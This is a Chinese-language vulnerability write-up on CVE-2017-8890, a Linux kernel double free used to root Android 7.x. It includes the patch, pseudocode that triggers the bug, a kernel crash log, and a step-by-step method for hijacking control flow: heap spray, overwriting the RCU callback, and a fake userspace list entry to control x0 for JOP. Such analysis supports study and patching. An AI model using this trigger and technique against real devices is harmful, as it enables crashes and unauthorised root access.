CVE-2017-8890漏洞分析与利用(Root Android 7.x)

漏洞简介

cve.mitre.org 网站给出的信息如下:

The inet_csk_clone_lock function in net/ipv4/inet_connection_sock.c in the Linux kernel through 4.10.15 allows attackers to cause a denial of service (double free) or possibly have unspecified other impact by leveraging use of the accept system call.

通过漏洞信息,可以知道这个漏洞影响范围非常广,包括Linux Kernel 4.10.15之前的所有内核版本。

这个漏洞同时存在于Android Kernel中,在实际测试中,不需要任何权限即可造成double free导致系统崩溃。

漏洞补丁如下所示:

-rw-r--r--  net/ipv4/inet_connection_sock.c 2 

1 files changed, 2 insertions, 0 deletions

diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c

index 5e313c1..1054d33 100644

--- a/net/ipv4/inet_connection_sock.c

+++ b/net/ipv4/inet_connection_sock.c

@@ -794,6 +794,8 @@ struct sock *inet_csk_clone_lock(const struct sock *sk,

    /* listeners have SOCK_RCU_FREE, not the children */

    sock_reset_flag(newsk, SOCK_RCU_FREE);



+   inet_sk(newsk)->mc_list = NULL;

+

    newsk->sk_mark = inet_rsk(req)->ir_mark;

    atomic64_set(&newsk->sk_cookie,

           atomic64_read(&inet_rsk(req)->ir_cookie));

补丁日期为2017-05-09,因此在该日起之前的所有Android设备,都会受到这个漏洞的影响。

漏洞复现

通过分析漏洞补丁函数inet_csk_clone_lock,整理出该函数的调用链如下图所示:

inet_csk_clone_lock.png

最终的调用源头为tcp_v4_rcv,该函数用于处理tcp三次握手的数据包,在三次握手完成真正连接建立时,会创建新的 socket对象,因此问题出现在创建新socket的过程,代码如下所示:

struct sock *inet_csk_clone_lock(const struct sock *sk,

                 const struct request_sock *req,

                 const gfp_t priority)

{

    struct sock *newsk = sk_clone_lock(sk, priority);

    if (newsk) {

// ...

        // cve-2017-8890 patch

        // inet_sk(newsk)->mc_list = NULL;

            // ...

     }

// ...

}

struct sock *sk_clone_lock(const struct sock *sk, const gfp_t priority)

{

    newsk = sk_prot_alloc(sk->sk_prot, priority, sk->sk_family);

    if (newsk != NULL) {

      sock_copy(newsk, sk);

  // newsk init...

    }

    return newsk;    

}

static void sock_copy(struct sock *nsk, const struct sock *osk)

{

#ifdef CONFIG_SECURITY_NETWORK

    void *sptr = nsk->sk_security;

#endif

    memcpy(nsk, osk, offsetof(struct sock, sk_dontcopy_begin));

    memcpy(&nsk->sk_dontcopy_end, &osk->sk_dontcopy_end,

           osk->sk_prot->obj_size - offsetof(struct sock, sk_dontcopy_end));

#ifdef CONFIG_SECURITY_NETWORK

    nsk->sk_security = sptr;

    security_sk_clone(osk, nsk);

#endif

}

最后生成的新socket,在该对象初始化之前,先调用了sock_copy函数将父socket数据拷贝过来,生成一个父sock的副本,并且在后边的初始化过程中,没有将mc_list对象初始化,因此造成了父mc_list对象被新的socket对象引用的结果,如果创建多次,也会被引用多次,最后对mc_list对象也会进行多次释放。

下边问题就是如何创建一个带有mc_list对象的socket。查看源码中所有对mc_list的引用,最后的调用来源如下图所示:

ip_mc_join_group.png

ip_mc_join_group函数用于将socket加入到多播组,该函数的调用接口为ip_setsockopt

该漏洞类型为double free,必然伴随着可多次释放该对象,创建mc_list对象流程有了,再看下该对象的释放流程,如下图所示:

ip_mc_drop_socket.png

最终可复现该漏洞,伪代码如下所示:

sockfd = socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP);

setsockopt(server_sockfd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof(group);

accept_sockfd1 = accept(sockfd, (struct sockaddr*)&accept1_si, sizeof(accept1_si));

accept_sockfd2 = accept(sockfd, (struct sockaddr*)&accept2_si, sizeof(accept2_si));

// first free

close(accept_sockfd1);

// second free

close(accept_sockfd2);

崩溃信息如下所示:

35890.702474] ------------[ cut here ]------------

[35890.702509] kernel BUG at /usr/local/google/buildbot/src/
partner-android/n-dev-msm-angler-3.10-nyc-mr2/private/msm-huawei/mm/slub.c:3364!

[35890.702518] Internal error: Oops - BUG: 0 [#1] PREEMPT SMP

[35890.702539] CPU: 0 PID: 8 Comm: rcuc/0 Not tainted 3.10.73-g5b0be8f02fe #1

[35890.702548] task: ffffffc00e9a4b40 ti: ffffffc00e9dc000 task.ti: ffffffc00e9dc000

[35890.702576] PC is at kfree+0xe8/0x1e0

[35890.702594] LR is at rcu_do_batch.isra.35+0x118/0x2b4

[35890.702602] pc : [<ffffffc00030240c>] lr : [<ffffffc000299ab8>] pstate: 40000145

[35890.702608] sp : ffffffc00e9dfc90

[35890.702615] x29: ffffffc00e9dfc90 x28: 00000000000005d7

[35890.702630] x27: ffffffc000ce5000 x26: ffffffc03bffd220

[35890.702641] x25: ffffffc03bffd120 x24: ffffffc00e9dc000

[35890.702653] x23: ffffffc00177f618 x22: ffffffc000299ab8

[35890.702665] x21: ffffffc00160fba8 x20: ffffffc03bffd740

[35890.702677] x19: ffffffbc00efff40 x18: 0000000000000000

[35890.702687] x17: 0000000000000000 x16: 0000000000000001

[35890.702699] x15: 0000000000000000 x14: 0ffffffffffffffe

[35890.702711] x13: 0000000000000030 x12: 0101010101010101

[35890.702722] x11: 7f7f7f7f7f7f7f7f x10: feff676273687672

[35890.702734] x9 : 0000000000000040 x8 : ffffffc0c531be00

[35890.702745] x7 : 00000000000003be x6 : 0000000000000004

[35890.702756] x5 : 0000000000000008 x4 : 0000000000000000

[35890.702767] x3 : ffffffc0c1192450 x2 : 0000000000000000

[35890.702778] x1 : 0000000000efff40 x0 : 0000000000000000

[35890.702792]

[35890.702792] PC: 0xffffffc00030230c:

[35890.702798] 2308  14000002b9805001 aa0103e0b9801801 a8c27bfdf9400bf3 a9bb7bfdd65f03c0 a90153f3910003fd 
d0004f20aa0003f4 a90363f7a9025bf5 aa1e03f6f9420400

[35890.702835] 2348  b9400801a9046bf9 910003e1340002a1 b94052629272c433 b900526211000442 b4000115f9401015
 aa1603e1f94002a3 aa1403e2f94006a0 f8410ea0d63f0060

[35890.702869] 2388  b9405260b5ffff40 b900526051000400 36080040f9400260 f100429f94277066 90004f4054000a29
 f9419c00d2c00801 8b010001f9400000 8b140021d2dff780

[35890.702901] 23c8  d34cfc21f2ffffe0 8b000033d37ae421 367800e2f8606822 d50339bff9401a62 d34f3c00f8606820
 9a9310536b1f001f 37380180f9400260 f272041ff9400260

[35890.702933] 2408  e7f001f254000041 d34e3821f9400261 b9406a6134000041 97ff36aeaa1303e0 910003e014000031
 9272c416f9401a78 97fd434352800020 d538d099f9400317

[35890.702965] 2448  f94007558b17033a 97fd437152800020 36080040f94002c0 f9400b4094277036 54000381eb00027f
 f8776b21b9802300 d53b4224f8206a81 f9400301d50342df

[35890.702998] 2488  d538d08252800003 f8776b25aa0103e0 eb0500dff8606846 9100202154000181 eb15003ff8616841
 f820685454000101 d538d080910022b5 52800023f9400301

[35890.703032] 24c8  f821681591002021 350000c3d51b4224 aa1803e017ffffd8 aa1403e2aa1303e1 a94153f397fffadd
 a94363f7a9425bf5 a8c57bfda9446bf9 a9bc7bfdd65f03c0

[35890.703065] 2508  a9025bf5910003fd a90153f39000b1b6 b94892d5a90363f7 35000155aa0003f3 d2818000f9400401
 ea00003ff2a01520 f9402660540000a1 b9404660b5000060

[35890.703100]

[35890.703100] LR: 0xffffffc0002999b8:

[35890.703106] 99b8  9100a034a90573fb eb02029ff9401822 b400136254001380 aa0003f7aa0103f3
 d50342dfd53b4236 900052629406f50e 1ac10c0152800801 937d7c21f945a842

[35890.703139] 99f8  f8616841f9400042 370001609ac02420 913836b5d0009eb5 350000e039401aa0
 52810161b0007320 97fe1bc8911ac000 39001aa052800020 f9405a60f9401a61

[35890.703171] 9a38  f9400022f90037a0 f9001662f9401660 91012261f900003f f9400023f9401a79
 eb02007ff9401a62 f900003454000041 eb14003fd1002021 d51b423654ffff21

[35890.703203] 9a78  910003e1d2800016 9272c438aa1603fc d0009bb59000527b b40003c0912ea2b5
 f9800340f940001a f13ffc5ff9400402 cb020000540000a8 9401a21c910006d6

[35890.703236] 9ab8  d63f004014000002 9100079cf94037a0 5400006aeb00039f 17fffff0aa1a03e0
 370801a0f9400300 b9433000f9400b00 9406f4cb34ffff40 f8605840f9450362

[35890.703268] 9af8  f9400b00f8756802 54fffe60eb00005f aa0003fa14000002 d50342dfd53b4238
 d5033bbfb500023a f9405a61f9403a60 f9403e60cb160016 cb1c0000f9003a76

[35890.703300] 9b38  f9404660f9003e60 92f000008b1c001c f900467ceb00003f 540002a1f9403e61
 f94016601400000d f900032091014261 f900167a9100c260 eb02029ff9400002

[35890.703333] 9b78  f800841954fffd21 54ffff61eb01001f 90009c6017ffffe5 f940080091004002
 5400006ceb00003f f9005a60f9400440 b50000c1f9404260 f9004261b40000a0

[35890.703366]

[35890.703366] SP: 0xffffffc00e9dfb90:

[35890.703372] fb90  0000000000000000 0000000000000008 0000000000000004 00000000000003be
 ffffffc0c531be00 0000000000000040 feff676273687672 7f7f7f7f7f7f7f7f

[35890.703403] fbd0  0101010101010101 0000000000000030 0ffffffffffffffe 0000000000000000 
0000000000000001 0000000000000000 0000000000000000 ffffffbc00efff40

[35890.703436] fc10  ffffffc03bffd740 ffffffc00160fba8 ffffffc000299ab8 ffffffc00177f618 
ffffffc00e9dc000 ffffffc03bffd120 ffffffc03bffd220 ffffffc000ce5000

[35890.703470] fc50  00000000000005d7 ffffffc00e9dfc90 ffffffc000299ab8 ffffffc00e9dfc90
 ffffffc00030240c 0000000040000145 ffffffc00e9dfc90 ffffffc000302458

[35890.703503] fc90  ffffffc00e9dfce0 ffffffc000299ab8 ffffffc0c118cbb0 ffffffc0c118cbd8
 ffffffc00160fba8 00000000000005ca ffffffc00177f618 ffffffc00e9dc000

[35890.703535] fcd0  ffffffc03bffd120 ffffffc03bffd220 ffffffc00e9dfd50 ffffffc000299e00 
ffffffc00160fda0 ffffffc000ce6000 ffffffc0c118cd98 ffffffc00e9dc000

[35890.703567] fd10  00000000bfb7d000 000000000000000a ffffffc001935438 ffffffc000ce6000
 0000000000000001 ffffffc000ce6000 ffffffc0c118cd98 7fffffffffffffff

[35890.703599] fd50  ffffffc00e9dfde0 ffffffc00024baf0 ffffffc00e96d2c0 ffffffc00e9dc000
 ffffffc0016efee8 0000000000000001 0000000000000001 0000000000000002

[35890.703632]

[35890.703639] Process rcuc/0 (pid: 8, stack limit = 0xffffffc00e9dc058)

[35890.703647] Call trace:

[35890.703658] [<ffffffc00030240c>] kfree+0xe8/0x1e0

[35890.703667] [<ffffffc000299ab4>] rcu_do_batch.isra.35+0x114/0x2b4

[35890.703674] [<ffffffc000299dfc>] rcu_cpu_kthread+0x1a8/0x308

[35890.703688] [<ffffffc00024baec>] smpboot_thread_fn+0x1dc/0x208

[35890.703703] [<ffffffc000243e7c>] kthread+0xc0/0xcc

[35890.703713] Code: 37380180 f9400260 f272041f 54000041 (e7f001f2)

[35890.703724] ---[ end trace bc62c72cba08ddfd ]---

[35890.723573] Kernel panic - not syncing: Fatal exception in interrupt

[35890.723810] CPU1: stopping

漏洞利用

劫持EIP

该漏洞的利用思路比较简单直接,在第二次释放之前通过堆喷占位即可。

mc_list对象申请通过slab分配器分配,代码如下:

int ip_mc_join_group(struct sock *sk, struct ip_mreqn *imr)

{

    // ...

    iml = sock_kmalloc(sk, sizeof(*iml), GFP_KERNEL);

    // ...

}

对应汇编代码:

ROM:FFFFFFC000BABD6C loc_FFFFFFC000BABD6C                    ; CODE XREF: ip_mc_join_group+98j

ROM:FFFFFFC000BABD6C                 MOV             X0, X20

ROM:FFFFFFC000BABD70                 MOV             W1, #0x30

ROM:FFFFFFC000BABD74                 MOV             W2, #0xD0

ROM:FFFFFFC000BABD78                 BL              sock_kmalloc

可知,该对象大小为0×30,位于slab-64,所以堆喷64字节数据即可。

堆喷占位后,我们需要劫持eip,因此需要能够占位到对象中的函数指针,mc_list结构体如下所示:

struct callback_head {

  struct callback_head *next;

  void (*func)(struct callback_head *head);

};

#define rcu_head callback_head

struct ip_mc_socklist {

struct ip_mc_socklist __rcu *next_rcu;

struct ip_mreqn    multi;

unsigned int    sfmode;

struct ip_sf_socklist __rcu *sflist;

struct rcu_head    rcu;

};

该结构体中存在一个回调函数func,因此将该函数指针覆盖即可劫持eip。该回调函数func的处理流程位于对象释放过程:

void ip_mc_drop_socket(struct sock *sk)

{

// ...

    if (!inet->mc_list)

        return;

    rtnl_lock();

    while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {

// ...

        kfree_rcu(iml, rcu);

    }

    rtnl_unlock();

}

该函数获取到mc_list对象后,最后调用kfree_rcu,该函数并不是真正的释放该对象,而是调用call_rcu将要删除的对象保存起来,

并标记或者开始一个宽限期,等到cpu宽限期结束,会触发一个RCU软中断,再进行释放,如果有回调函数func,则进行回调函数处理流程,整个函数调用逻辑为:

kfree_rcu -> … -> call_rcu -> … -> invoke_rcu_core -> RCU_SOFTIRQ -> rcu_process_callbacks -> … __rcu_reclaim

最后的释放代码如下所示:

#define __is_kfree_rcu_offset(offset) ((offset) < 4096)

static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)

{

unsigned long offset = (unsigned long)head->func;

rcu_lock_acquire(&rcu_callback_map);

// 是否存在回调函数

if (__is_kfree_rcu_offset(offset)) {

RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));

kfree((void *)head - offset);

rcu_lock_release(&rcu_callback_map);

return true;

} else {

RCU_TRACE(trace_rcu_invoke_callback(rn, head));

head->func(head);

rcu_lock_release(&rcu_callback_map);

return false;

}

}

对应的汇编代码:

__rcu_reclaim.png

如果不存在回调函数,func会被设置成该成员在对象中的偏移,也就是0×20,当func值大于4096即可触发到回调函数流程,即劫持eip。

最终漏洞利用示意图如下所示:

control_eip.png

劫持eip的崩溃信息如图所示:

control_eip_crash.png

虽然劫持了eip,按照早期的安卓提权思路,直接ret2user即可完成提权操作,然而早已经加入了PXN保护,需要构造JOP来绕过,但是构造JOP需要至少控制一个寄存器,而回调函数执行后的参数为head,即为ip_mc_socklist.rcu地址,该地址为一个内核地址,数据并不可控,从崩溃信息x0寄存器的值也证实了这一点,置此,该漏洞还无法有效利用。

控制寄存器数据

通过对mc_list释放流程的深入研究,最终发现在ip_mc_socklist结构体中,有另外一个很重要的指针变量next_rcu,在内核中,该指针指向下一个ip_mc_socklist对象,并且在ip_mc_drop_socket函数释放流程,会循环遍历该链表,直到next_rcu == NULL,部分代码如下所示:

void ip_mc_drop_socket(struct sock *sk)

{

    rtnl_lock();

    while ((iml = rtnl_dereference(inet->mc_list)) != NULL) {

        inet->mc_list = iml->next_rcu;

        kfree_rcu(iml, rcu);

    }

    rtnl_unlock();

}

因此,我们可以在用户态伪造一个ip_mc_socklist对象fake_iml,然后通过堆喷占位,使第一次被释放的ip_mc_socklist.next_rcu = fake_iml,当内核在处理我们的fake_iml时,最后调用的fun(head)都是我们可控的,且head指向的是用户空间,因此可以达到控制x0寄存器的目的,最终利用示意图如下所示:

control_eip_x0.png

控制了eip和x0寄存器,就可以构造JOP进行后续的提权操作,流程比较固定,暂不细讲,最终漏洞利用如下图,测试手机为 Nexus6P 7.12

cve-2017-8890-exp.png

参考

Multicast technologies on TCP/IP networks

What is RCU, Fundamentally?

Linux 2.6内核中新的锁机制–RCU

*本文原创作者:Mzi of SecRet-Team @云图信安,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

相关文章

发表评论

电子邮件地址不会被公开。